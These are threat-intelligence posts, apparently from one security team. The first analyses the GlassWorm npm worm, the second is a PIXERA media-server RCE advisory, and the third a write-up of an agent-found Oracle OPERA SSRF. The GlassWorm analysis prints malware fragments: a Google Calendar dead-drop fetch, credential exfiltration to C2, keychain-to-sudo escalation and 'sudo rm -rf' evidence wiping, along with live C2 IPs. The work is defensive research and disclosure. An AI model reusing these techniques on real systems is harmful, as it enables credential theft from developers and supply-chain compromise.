We Followed the Wallet: Tracking GlassWorm Through Nine C2 Rotations

TL;DR

  • GlassWorm v2.31 is actively compromising developer workstations through trojanised npm packages and VS Code extensions; a coordinated industry takedown on 26 May 2026 was reversed by the operator within hours.
  • One infected developer silently spreads the malware to every package they maintain, putting downstream users and CI/CD pipelines at risk without any further attacker action.
  • The campaign routes its C2 through the Solana blockchain, making traditional domain or IP takedowns ineffective; it has operated continuously since November 2025 across 22 confirmed infrastructure rotations.
  • Security teams should audit npm publish rights, block the network indicators at the end of this report, and hunt for the staging artefacts on developer endpoints.

Introduction

On April 24, 2026, a Solana wallet executed a transaction that cost less than a fraction of a cent. To anyone watching the blockchain as a whole, it was noise in millions of daily memos moving through the network.

For our team, this was a signal we had been waiting for.

The wallet is BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC. We first started tracking it in November 2025 after identifying it as GlassWorm’s primary C2 beacon channel. That April transaction contained base64-encoded IP address, embedded in the memo field of a standard spl-memo transaction. The ninth since we started watching.

Within days, two fresh malware samples appeared in the wild. Both hardcoded the updated infrastructure. We pulled them both, and what we found in version string 2.31 — newer than any publicly documented GlassWorm variant — warranted this post.

Note: The behavioral and technical analysis in this report is based on GlassWorm v2.31 samples observed in April 2026. Infrastructure details, C2 rotations, and IOCs have been updated with observations through early June 2026 following the May 26 takedown.

The Glassworm Malware

GlassWorm is a self-propagating worm malware with infostealer and remote access trojan (RAT) capability that targets developers by hiding in trojanised npm packages and VS Code / Open VSX extensions. What makes it a worm is propagation through trust: once it steals a developer’s npm publish token, it can republish malicious code under that developer’s identity, silently infecting everyone downstream. Its command-and-control runs through the Solana blockchain and Google Calendar dead-drops, which makes conventional domain/IP takedowns largely ineffective. 

Why Developers Are the Target

Instead of social engineer approach (e.g. phishing), GlassWorm sits in the npm registry or the Open VSX marketplace, and waits for developers to come to it.

The credentials it harvests tell you everything about its targeting logic: npm publish tokens, GitHub Personal Access Tokens, CI/CD pipeline secrets, SSH private keys, cloud provider credentials. These belong to the engineers who sit at the centre of the modern software supply chain.

Run npm install on a malicious package and your credentials are already in transit to exfiltrated server by the time your terminal prompt returns.

What follows this “interaction” is that, a compromised developer with npm publish rights becomes an involuntary delivery vehicle. Their stolen token can republish malicious packages under their identity, silently extending the infection to every downstream user of their work. GlassWorm propagates through trust.

This is the supply chain threat model we outlined in Supply Chain As the Perimeter.[1] It is now actively playing out in production environments.

A Campaign We Have Been Watching Since November

Researchers first documented GlassWorm in March 2026, Russian-speaking criminal operators using trojanised npm packages to deliver a Remote Access Trojan.[2] Subsequent waves added Unicode obfuscation [3], macOS-specific infrastructure [4], and BitTorrent DHT as an alternative C2 channel [5]. In April 2026, researchers documented a parallel campaign that deployed 73 sleeper extensions to the Open VSX marketplace, six already activated at time of publication.[6]

The samples we analysed here carry version string 2.31, newer than the last publicly documented variant. Infrastructure has rotated twice since the previously tracked state.

On attribution: the Windows sample’s system-info collector contains Cyrillic variable labels toLocaleString(“ru-RU”) calls, Cyrillic field names. These are internal labels written in the developer’s own language. Earlier GlassWorm variants were reported to skip execution on Russian-locale systems; that check is absent in v2.31. Attribution to a Russian-speaking criminal actor is consistent across multiple researchers. Confidence: High.

The Blockchain Dead-Drop: How a $0.001 Transaction Redirects a Global Botnet

The Solana spl-memo program allows arbitrary UTF-8 text to be embedded in blockchain transaction memo fields. GlassWorm publishes C2 IP addresses there, base64-encoded:

Memo (raw) : {"link": "aHR0cDovLzQ1Ljc3LjYwLjE1Mw=="}
Decoded    : http://45.77.60.153

The malware queries api.mainnet-beta.solana[.]com — traffic that is indistinguishable from legitimate DeFi activity at the network level. The dropper hardcodes the current C2 IP at build time. But the persistence layer — %APPDATA%\bDXfQAchc\index.js — uses the Solana lookup on each subsequent beacon to follow rotations without ever requiring a malware update.

The defender implication: taking down the C2 server does not evict already-infected hosts. The next memo transaction, costing less than $0.001, redirects every infected machine globally to a new IP. We have watched this happen across 62+ memo transactions (16 rotations) as of early June 2026, with the most rapid activity being operator-driven infrastructure tests rather than implant beacons.

For organisations running legitimate DeFi applications, on-chain treasury operations, or blockchain analytics tooling, a blanket block on api.mainnet-beta.solana.com is not viable. The practical control is contextual: alert on Solana RPC calls originating from workstations, build systems, and developer laptops that have no sanctioned DeFi function. The domain is not inherently malicious — the question is whether the process making the request has any legitimate reason to be polling a blockchain. In most enterprise environments, the answer for a Node.js process spawned from an npm postinstall hook is no.

On 26 May 2026, CrowdStrike publicly announced the takedown of GlassWorm’s known C2 infrastructure in coordination with Google and Shadowserver. Within hours, the operator began rotating IPs. Between 26–29 May, three new IPs appeared across six memo transactions in just three days — the most rapid rotation sequence observed. Most notably on 29 May: 87-second burst of 4 test memos alternating 137.184.198.91 and 162.33.177.177 (operator verifying servers, not implant-driven rotation). Switched from Vultr to DigitalOcean. Current active C2 137.184.198.91 remains dominant.

RotationDateC2 IP
1Nov 2025217[.]69[.]11[.]60
2Dec 202545[.]32[.]151[.]157
3Jan 2026217[.]69[.]11[.]57
4Feb 202645[.]32[.]150[.]97
5Feb 2026217[.]69[.]11[.]99
6Mar 202645[.]76[.]44[.]240
7Mar 2026217[.]69[.]2[.]135
8Apr 2026217[.]69[.]0[.]159
9Apr 24, 202645[.]77[.]60[.]153 
10May 26, 2026137[.]184[.]198[.]91
Current active C2 (DigitalOcean)

What Changed in v2.31

A New C2 and a Dedicated Exfil Server

A Dead-Drop Resolver is a covert technique where threat actors hide malicious data inside legitimate online services to conduct evasive C2 communication. The malware reads from a publicly accessible resource rather than connecting directly to attacker infrastructure.

The Google Calendar dead-drop mechanism has been in use since at least March 2026. In March 2026, it was first reported that GlassWorm used Google Calendar as a dead-drop, embedding a base64 slug in a calendar event page to deliver the persistence path without publishing a new package.[7] The delivery vehicles at that time were react-native-country-select@0.3.91 and react-native-international-phone-number@0.11.8, using calendar.app.google/2NkrcKKj4T6Dn4uK6 and C2 45.32.150.251.

Dark Lab observed the same dead-drop architecture in the new v2.31 infrastructure : the Calendar URL has rotated to calendar.app.google/CcqGmLkERzV6kDa28 and C2 to 45.77.60.153, but the mechanism and the independent two-channel design are unchanged. The use of Google Calendar as a dead-drop is a relatively uncommon technique; it has also been documented in other advanced campaigns, though its appearance in financially motivated criminal tooling is a notable escalation.

doGLSkHlx(
  atob("aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL0NjcUdtTGtFUnpWNmtEYTI4"),
  (err, link) => tlvZhAS(atob(link), tlvZhASCall)
);
// atob(...) = https://calendar.app.google/CcqGmLkERzV6kDa28

The dropper fetches the Calendar URL, reads data-base-title from the page HTML, base64-decodes it to a slug, then GETs hxxp://45[.]77[.]60[.]153/<slug>. The C2 response delivers { script, iv, secretKey } — the persistence script is written to %APPDATA%\bDXfQAchc\index.js and registered via two independent mechanisms: a Scheduled Task named UpdateApp (AtLogon trigger) and a randomly-named key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

Note that the two persistence entries are independent by design, with remediation requiring the removal of both malware, or the malware survives the next logon.

The two dead-drop channels also serve independent roles: Solana handles C2 IP rotation awareness; Google Calendar handles persistence payload delivery. Blocking Solana RPC kills the rotation beacon but leaves persistence delivery intact. Google Calendar simply cannot be realistically blocked in enterprise environments. Both channels need separate coverage.

w.node: The Browser Injector Without an Integrity Check

v2.31 downloads three native Node.js modules: c_x64.node (Chrome credential extraction), f_ex86.node (environment variable exfiltration), and w.node (browser injection). The first two validate their own file hash before executing — they abort on mismatch. w.node does not:

// c_x64.node — hash validated before execution:
const isValid = checkFileHash(pathModule, actualHash_c_x64);
if (!isValid) { return; }

// w.node — executed directly, no integrity check:
async function _runWNodeModule(unzipPATH) {
  console.log("[w.node] Starting browser inject module");
  // AES-128-CBC decrypt in-place, then eval(atob(...))

This is deliberate. c_x64 and f_ex86 are pinned to known builds; w.node can be swapped per-victim or per-campaign wave without touching the dropper. The operator has a flexible injection surface the dropper cannot attest to. If w.node ran on a host, the scope of browser compromise must be treated as unknown — you cannot bound it from the dropper alone.

The progression here is worth noting: fake browser extension (March) → w.node inside npm dropper (this report) → IDE sleeper extension (April reporting [8]). Each iteration moves the payload one level deeper into trusted tooling.

What v2.31 Collects

v2.31 expands credential collection on two dimensions relative to prior publicly documented GlassWorm reports: wallet coverage and file targeting.

Desktop wallets — beyond the browser extension targets documented previously:

WalletPlatformNotable
ElectrumWindowsFull wallet directory traversal
Daedalus (Cardano)WindowsFull-node wallet; common among ADA stake pool operators with multi-year accumulated rewards
Exodus, Atomic, CoinomiWindows/macOSCovered in prior GlassWorm reports

Daedalus is particularly notable. It is a full-node Cardano wallet frequently held by stake pool operators. Its explicit inclusion signals a deliberate multi-chain operation.

Beyond wallets, the Windows sample scans Documents\ and Desktop\ (four levels deep) for images whose filenames match any of 35 crypto-related keywords: “seed”, “mnemonic”, “bip39”, “ledger”, “trezor”, “2fa”, “recovery”, and 28 more. Filename matching only with no content inspection. Developers who photograph hardware wallet recovery screens or store backup codes as images are the intended target. If the device is wiped after detection, those images have already left the network.

OPSEC Regression: A Fixed Directory That Gives Them Away

The macOS sample randomises its staging directory ($TMPDIR/<random>/). The Windows sample does not:

var _tempF = process.env.TEMP + "\\afNxMgFco\\";

%TEMP%\afNxMgFco\ is fixed across every Windows infection. Zero expected false positives. If you find it, you have a confirmed compromise. Sweep your fleet.

The Windows dropper also fetches portable Node.js runtimes (v22.9.0, x86 and x64) directly from nodejs.org, storing them at %APPDATA%\_node_x86\ and %APPDATA%\_node_x64\. Under this infection chain, no Node.js installation required on the victim machine. This path is specific to the npm dropper; the Open VSX sleeper vector uses the IDE’s embedded runtime.

Under the Hood: Cross-Platform Execution

 macOSWindows
Lines of code3,2636,889
Staging dir`$TMPDIR/<random>/``%TEMP%\afNxMgFco\` (fixed)
Exfil endpoint`/wall``/wall` + `/log` (AES per-session)
PersistenceNot in dropper`%APPDATA%\bDXfQAchc\index.js` via PS1
Privilege escalationKeychain → sudoNot observed
Native modules1 `.node` addon3 addons (c_x64, f_ex86, w.node)
Desktop walletsNot observedExodus, Electrum, Guarda, Coinomi, Daedalus

macOS

On macOS, credential collection runs as a parallel promise chain before exfiltration:

function startExf() {
  Promise.allSettled([
    NqzZI(),           // GitHub token + SSH key theft
    anYeIk(),          // npm token theft
    envExfiltration()  // download + exec .node addon from C2
  ]).then(() => exfiltration());  // zip → POST /wall → self-delete
}

GitHub tokens are live-validated against `api.github.com/user` before staging, where working tokens go to tokenGit.txt, invalid ones to tokenGit_invalid.txt for offline review. SSH keys require a BEGIN PRIVATE KEY block; public keys and config noise are filtered. The operator is not collecting garbage; they are collecting working access.

macOS collection also attempts Keychain extraction with privilege escalation. If successful, it removes its own staging directory under sudo leaving no forensic trace:

const keychainPassword = child_process.execSync(
  "security 2>&1 find-generic-password -s 'pass_users_for_script' -w"
).trim();

// Tests Keychain password as sudo password:
child_process.execSync(`echo ${JSON.stringify(password)} | sudo -S -k whoami`);

// On success: wipes staging directory — evidence destroyed
child_process.execSync(`sudo rm -rf ${stagingDir}`);

Windows

The Windows execution chain is more layered. Credential collection, persistence installation, and module loading are all sequenced deliberately, with persistence and modules arriving only after every wallet directory has been processed. Note the sequence of the execution : collection, exfiltration, persistence, followed by module execution.

wcedE()
  → download Node.js x86 + x64 (nodejs.org, parallel)
  → cFhYVfTyQ()
      ├── token theft (npm, GitHub — live API validation)
      ├── collectAdditionalData()
      │     ├── .txt files (8 levels deep)
      │     ├── crypto-keyword images (4 levels)
      │     ├── cloud credentials (AWS, DO, Heroku, Terraform)
      │     └── system info (Cyrillic field labels)
      └── LNTMdy()  ← wallet directory scan
            [after ALL wallets collected]
            ├── script_zombi → Calendar dead-drop → index.js
            │     + Scheduled Task "UpdateApp" + HKCU Run key
            ├── _processArchiveAndRunModules()  ← 3 .node modules [parallel]
            └── POST hxxp://217[.]69[.]3[.]152:80/log

Conclusion

GlassWorm v2.31 shows a disciplined, incremental campaign that has been quietly improving its infrastructure, expanding its collection scope, and hardening its persistence architecture, over five months. That approach demonstrates restraint that makes it effective.

Under this threat model, developers are high-value targets precisely because they are trusted actors in systems that most security controls treat as safe by default : npm publish tokens, GitHub PATs, cloud credentials all play their respective parts in an attack ecosystem. The downstream blast radius of a single compromised developer account can extend far beyond what any individual threat indicator would suggest.

As we noted in Supply Chain As the Perimeter: “Signed binaries arriving through trusted update channels are not, by themselves, evidence of integrity.”

Even after the coordinated takedown on 26 May, the operator was able to re-establish control within days using fresh infrastructure. The speed of the late-May rotations shows the campaign remains active and adaptive.

Indicators of Compromise

File Hashes

HashTypeNote
886373754c3cc3bc232e994116c8e0efebc3d67ee5c98feca36bb5df71a5c1daSHA-256Windows dropper — v2.31 postinstall
48a997b76fe8317c6c8e6ffa8af0b2e509e8987cd10c196e3a7cb4d8e05e9dc8SHA-256macOS dropper — v2.31 postinstall

Network Indicators

IndicatorTypeRole
137[.]184[.]198[.]91IPActive C2 — rotated May 2026
208.85.20[.]124IPDedicated exfil server
208.76.223[.]59IPDedicated exfil server
217[.]69[.]3[.]152IPDedicated exfil server (Previous)
api.mainnet-beta.solana[.]comDomainSolana RPC — C2 IP rotation beacon
calendar[.]app[.]google/CcqGmLkERzV6kDa28URLGoogle Calendar dead-drop — persistence payload delivery

Historical C2 IPs

IP
217[.]69[.]11[.]60
45[.]32[.]151[.]157
217[.]69[.]11[.]57
45[.]32[.]150[.]97
217[.]69[.]11[.]99
45[.]76[.]44[.]240
217[.]69[.]2[.]135
217[.]69[.]0[.]159
45[.]77[.]60[.]153
45[.]32[.]147[.]205
162[.]33[.]177[.]177

File and Host Indicators

IndicatorTypeNote
%TEMP%\afNxMgFco\DirectoryFixed Windows staging dir — zero false positives
%APPDATA%\bDXfQAchc\index.jsFile pathWindows persistence script
%APPDATA%\_node_x86\DirectoryPortable Node.js x86 runtime
%APPDATA%\_node_x64\DirectoryPortable Node.js x64 runtime
ANLNqyTjx86.zipFilenameNode.js x86 runtime archive
znzvleRpUx64.zipFilenameNode.js x64 runtime archive
UpdateAppScheduled TaskAtLogon persistence — must be cleared on remediation
c_x64.node / f_ex86.node / w.nodeFilenameNative credential extraction modules

Solana

Indicator
BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC
6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ
28PKnu7RzizxBzFPoLp69HLXp9bJL3JFtT2s5QzHsEA2
5m49aU7pMecF7WWHi2n2aL7UaAjVCn2mYBnTVMUpHNMQ
9h8p91NVckhiKLfkiQG5DY16AHQbQ1sLCsHnqRx7Mtvs

Recommendations

For Individual Developers

  • Rotate credentials before you investigate. Collection and exfiltration complete silently before any visible indicator appears. If you may be affected, revoke npm publish tokens, GitHub PATs, SSH keys, and cloud credentials immediately — forensics second.
  • Check `%TEMP%\afNxMgFco\` on every Windows machine you use for development. This directory name is fixed across every infection — if it exists, you are compromised.
  • Run `npm install --ignore-scripts` for packages you haven’t reviewed. GlassWorm activates in the postinstall hook. Disabling scripts removes the trigger.
  • Verify AI-suggested package names against the official npm registry and the project’s GitHub repository before installing. Do not trust coding assistant suggestions without independent confirmation of provenance.
  • If `w.node` ran, assume full browser compromise. Treat all saved passwords, cookies, and active sessions as stolen — the payload is swapped per-victim and scope cannot be determined from the dropper.

For Security Teams and Enterprises

Recommended ActionObserved Technique / Indicator
Alert on outbound connections to Vultr ASN 20473 or Digital Ocean AS 14061 from developer endpoints Historically dominant ASN (rotations 1–9); operator moved to DigitalOcean in May 2026 but may return — keep as a hunting indicator.
Hunt `%TEMP%\afNxMgFco\` across your Windows fleetFixed staging directory — zero false positives, fastest confirmation of compromise
Hunt Scheduled Task “UpdateApp” (AtLogon) AND random-named HKCU Run keys togetherBoth persistence entries must be cleared — either alone survives logon
Alert on non-browser processes making HTTPS requests to calendar.app.googleGoogle Calendar dead-drop delivers persistence payload — cannot be blocked at DNS
Monitor npm publish token usage for unexpected package versionsSupply chain propagation via stolen publish tokens — compromised dev extends infection to downstream users
Alert on `_node_x86` or `_node_x64` directories created under `%APPDATA%`Portable Node.js runtime deployment is specific to the npm dropper vector
For organisations with legitimate Solana RPC access: restrict outbound api.mainnet-beta.solana.com to approved DeFi services and alert on access from workstations, build systems, or developer endpoints with no sanctioned DeFi functionGlassWorm beacon traffic is indistinguishable from legitimate DeFi activity at the network layer — contextual allow-listing and process-level monitoring are required where a blanket block would disrupt production workloads

MITRE ATT&CK Mapping

Technique IDNameObserved In
T1195.002Supply Chain Compromise: Software Supply ChainTrojanised npm packages / Open VSX extensions
T1059.007Command and Scripting: JavaScriptNode.js dropper execution chain
T1102.001Web Service: Dead Drop ResolverSolana blockchain + Google Calendar C2 lookup
T1547.001Boot/Logon Autostart: Registry Run KeysRandom-named HKCU Run key persistence
T1053.005Scheduled Task/Job: Scheduled TaskUpdateApp scheduled task (AtLogon)
T1555.003Credentials from Password Stores: Web Browsersc_x64.node Chrome credential extraction
T1552.001Unsecured Credentials: Credentials In Filesnpm token, GitHub PAT, SSH key collection
T1552.004Unsecured Credentials: Private KeysSSH private key harvesting (BEGIN PRIVATE KEY check)
T1041Exfiltration Over C2 ChannelPOST to 217[.]69[.]3[.]152 /log and /wall
T1027Obfuscated Files or Informationbase64-encoded Calendar URL and C2 memos
T1496Resource HijackingCrypto wallet targeting — Daedalus, Electrum, Exodus
T1070.004Indicator Removal: File DeletionmacOS sudo rm -rf staging dir on successful Keychain extraction

Outlook

Nine rotations over five months are a sign of a persistent operation that has been running comfortably and at pace. The infrastructure renews before it is acted upon. The per-session AES keys prevent bulk decryption of intercepted traffic. The dead-drop architecture keeps infected hosts connected even after C2 takedowns.

What we expect next: the proliferation of AI coding tools will lower the barrier to initial access even further. The next campaign generation may not need a real package name. Attackers will register the packages that coding assistants hallucinate and wait. The delivery mechanism will remain npm install. The payload will remain silent. The developer will remain unaware until credentials have already rotated through a threat actor’s collection infrastructure on the other side of the operator’s remote infrastructure.

The trust developers place in their toolchains is the attack surface. Until that trust is earned through verifiable provenance : signed packages with reproducible builds, audited supply chains, automated publish-token rotation, GlassWorm and campaigns that follow its model will keep finding a way in.

RCE in PIXERA TWO Media Server (CVE-2026-7703, CVE-2026-7704)

Silhouetted crowd at a concert with hands raised, illuminated by bright stage lights.

The PIXERA TWO Media Server is an Audio-Visual (AV) solution widely adopted to create large-scale, high-quality visual experiences in live events, stage productions, and creative projects. PIXERA servers are typically deployed in internal or isolated networks as part of professional AV setups, where performance and stability are critical.

The following advisory presents two (2) vulnerabilities we uncovered in PIXERA, enabling an unauthenticated attacker to gain remote code execution (RCE) with Administrator privileges in the default configuration. AV Stumpfl responded to coordinated disclosure in a professional manner and patched the issues in version 25.2 R3.[1]

Overview

CVE-2026-7703 – Remote Code Execution in PIXERA TWO Media Server
CVSS v4.0: 8.8 / HIGH / 
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N
Description: A vulnerability was identified in PIXERA TWO Media Server before 25.2 R3. A crafted payload delivered through a JSON-RPC API in its default configuration allowed unauthenticated users to gain remote code execution with Administrator privileges on the Windows host.
CVE-2026-7704 – Path Traversal in PIXERA TWO Media Server
CVSS v4.0: 6.9 / MEDIUM / CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Description: A vulnerability was identified in PIXERA TWO Media Server before 25.2 R3. A path traversal vulnerability allowed unauthenticated users to read arbitrary files on the Windows host.

Both vulnerabilities affect PIXERA’s HTTP web server, which defaults to port 1338 and exposes a JSON-RPC API over WebSocket.2 The API supports creative workflows and custom integrations such as remote control of video playback and visual effects. This flexibility is common across media server solutions, as it allows users to integrate a wide range of external tools and devices for creative purposes.  

By inspecting WebSocket traffic, we noticed the browser made an initial GetAddressDescriptions request over the JSON-RPC API, to which the server responded with a list of RPC commands. To our surprise, this list included commands to interact with the Windows filesystem, execute system commands, and initiate web requests, all of which were exposed in the default configuration. 

After toying around with different commands, we discovered that an unauthenticated attacker could use a specific Utils command to execute OS-level commands with Administrator privileges on the media server. This could be followed by unlocking further actions through UAC bypass or pivoting across the network. In practice, this means that an attacker could disrupt live events which could result in reputational damage and potentially compromise other parts of the system.  

We consider there to be low impact on confidentiality as media files are generally non-sensitive, especially ones meant to be displayed on-screen to an audience.

Screenshot of Burp on the left sending a websocket request with a Base64 powershell payload and a terminal on the right catching a reverse shell.

Remediation

  1. Upgrade to the latest PIXERA version. A patch was released in PIXERA version 25.2 R3 on Oct. 14, 2025. 
  1. Ensure sensitive functions such as filesystem, web-related, and system utility APIs are disabled. (References: Changelog, API Allowlist
  1. If upgrading PIXERA or disabling sensitive APIs is not possible, consider a workaround of applying strict IP whitelisting, such that the API service can only be accessed from dedicated, trusted sources. This could be implemented in the Windows Firewall of the PIXERA server, or at the network level by configuring the switch or router. 

General Best Practices

  1. Ensure PIXERA servers are deployed in isolated network environment and only accessible from whitelisted sources – internal or external. 
  1. Review deployments and apply security patches regularly 
  1. Regularly rotate default passwords and housekeep configurations. For instance, PIXERA servers may have VNC enabled with a default password. It is crucial this password be changed. 

Acknowledgements

Special thanks to the AV Stumpfl team during coordinated disclosure for their professional response and handling of the matter. 

Timeline

  • Jul. 28, 2025 – Report received by AV Stumpfl 
  • Sept. 16, 2025 – Disclosure to MITRE requesting CVE-ID (no response) 
  • Oct. 14, 2025 – Patch released (25.2 R3) by AV Stumpfl 
  • Apr. 15, 2026 – Disclosure to VulDB 
  • May 03, 2026 – Disclosure published by VulDB 

Further Information

We are committed to protecting our clients and the wider community against the latest threats through our dedicated research and the integrated efforts of our red team, blue team, incident response, and threat intelligence capabilities. Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Prioritizing Agentic Workflows Before Models: The Story Behind CVE-2026-34311

Everyone is obsessing over which model powers their security agent. Is it the largest? The most expensive? The one topping the benchmarks?

We took a different bet. We ran with GLM-4.7 and uncovered CVE-2026-34311, a critical   unauthenticated SSRF in Oracle OPERA PMS (again!). GLM-4.7 is certainly not the flashiest model on the market, but instead it strikes a balance between cost and efficiency.

Our takeaway?

While the models do matter, a well-designed workflow or harness allows a lower-tier model to match the performance of a higher-tier one.

Large language models are capable of performing a multitude of complex tasks. But on their own, the models suffer from setbacks we’re well familiar with: limited context windows and a high signal-to-noise ratio (many false positives!). Human effort is wasted in the effort of plumbing prompts and validating nonsensical reports. A well-designed workflow mitigates these limitations and unlocks the full potential of an LLM — even with mid-tier models.

Here is our structured approach.

The Audit Workflow

We don’t just run tools; we use a multi-agent communication and supervision pipeline. By having agents cross-review and supervise each other, we minimize hallucinations, maintain a high completion rate, and ensure zero blind spots.

Flowchart illustrating a four-step process: 1. Surface Mapping & Profiling, 2. Multi-Agent Code Audit, 3. Cross-Review & Verification, 4. PoC & Chain Validation, culminating in a result statement: Low Hallucination, High Coverage.

Why this works:

  • Parallel auditing: Specialized perspectives independently audit the   entire   codebase.
  • Mutual supervision: Agents cross-review each other’s findings. If one perspective misses a bypass, another catches it.
  • Strict evidence rules: A finding is rejected unless it points to a real file, a real line number, and a reproducible path.

CVE-2026-34311: Unauthenticated SSRF in Oracle OPERA PMS

CVE-2026-34311   –   Unauthenticated SSRF in Oracle OPERA Property Management System (PMS)
CVSS v3.1: 9.8 / CRITICAL /   
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description: An unauthenticated Server-Side Request Forgery (SSRF) vulnerability has been identified in Oracle Hospitality OPERA 5, versions at and below 5.6.19.24, 5.6.22, 5.6.25.19, 5.6.27.6, 5.6.28. Attackers can leverage the vulnerability to invoke unauthorised requests, interact with the cloud metadata service to steal credentials, and pivot to internal systems.

Where is the Bug?

The flaw exists in the HXInterfaceProxy &nb  sp;servlet (WebClientProxy.java). Our workflow identified two critical failures:

1. No Authentication Required. The web.xml explicitly disables authorization:

<context-param>
<param-name>requireAuthorization</param-name>
<param-value>N</param-value> <!-- Anyone can access -->
</context-param>

2. Trivial Blocklist Bypass. The server reads the MF-WSCP-DESTINATION-URL header and makes a request to that URL. The “protection” is just a weak string-contains check:

if (var13 == null || !var13.toLowerCase().contains("//localhost:")
&& !var13.contains("//127.0.0.1:")) {
// Request allowed! Insufficient validation.
}

No IP resolution. No private range blocking. No cloud metadata protection.

By following the code flow, the agent determined that the destination URL is extracted from the request and later used to create an outbound HTTP connection. The validation in WebClientProxy.java only checks a limited set of localhost string patterns before forwarding the request.

// WebRequest.java:74 - Extracts the user-controlled destination URL from the request
this.destinationURL = this.removePIValue("DESTINATION-URL", var8);
// WebRequest.java:154-157 - Uses the extracted destination URL to create an outbound request
HTTPResponse forwardRequest(String var1) {
URL var3 = new URL(this.destinationURL);
HTTPConnection var4 = new HTTPConnection(var3);
// ...
}
// WebClientProxy.java:60 - Performs only limited localhost string checks before forwarding
if (var13 == null || !var13.toLowerCase().contains("//localhost:".toLowerCase())
&& !var13.contains("//127.0.0.1:")) {
HTTPResponse var15 = var12.forwardRequest(var10);
}

Impact and Validation Summary

The vulnerable servlet accepts a user-controlled destination URL through the MF-WSCP-DESTINATION-URL header and initiates outbound requests on behalf of the server. Due to insufficient validation and the absence of effective restrictions on internal or sensitive network destinations, the application may be coerced into accessing unintended resources.

The issue was validated in a controlled testing environment. Detailed exploit commands, request headers, and bypass payloads have been intentionally omitted from this public write-up.

The URL validation mechanism relies on a limited string-based blocklist and does not perform comprehensive hostname resolution or network destination validation. As a result, alternative address representations may not be adequately restricted.

How the Workflow Caught This

A single model might have seen the blocklist and concluded the risk was limited. Our workflow caught this by correlating separate findings into a single critical attack chain:

Diagram illustrating a workflow for cross-reviewing security flaws, including no authentication, user-controlled URL, and weak blocklist, leading to an unauthenticated SSRF vulnerability with a critical CVE score of 9.8.
  1. Authentication Review caught requireAuthorization=N.
  2. SSRF Analysis caught the user-controlled URL header.
  3. Cross-Review combined them: Unauthenticated + SSRF + weak blocklist = Critical.
  4. Bypass Validation systematically broke the blocklist.

Potential Attack Scenarios

  1. Cloud Credential Theft: Access AWS/Azure/GCP metadata services to steal IAM credentials
  2. Internal Network Scanning: Port scan internal infrastructure
  3. Data Exfiltration: Access internal databases and APIs
  4. Lateral Movement: Pivot to other internal systems
  5. Chained RCE: Combine with other vulnerabilities for remote code execution

Timeline

  • Mar. 05, 2026:   Discovered Unauthenticated Server-Side Request Forgery (SSRF) (now tracked as CVE-2026-34311).
  • Mar. 07, 2026:   Vulnerability report sent to Oracle Security Alerts.
  • May. 22, 2026:   Pre-release announcement by Oracle.
  • May. 28, 2026:   Public disclosure by Oracle.
  • May. 29, 2026:   Technical writeup and disclosure by Alex Lee @PwC DarkLab HK.

Acknowledgements

Special thanks to the Oracle Security Alerts team for coordinated disclosure. For more information about recent vulnerabilities affecting Oracle Hospitality, please read the advisory published by Oracle: https://www.oracle.com/security-alerts/cspumay2026.html.

CVE-2026-34311 was discovered by Alex Lee.

Further Information

We are committed to protecting our clients and the wider community against the latest threats through our dedicated research and the integrated efforts of our red team, blue team, incident response, and threat intelligence capabilities. Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.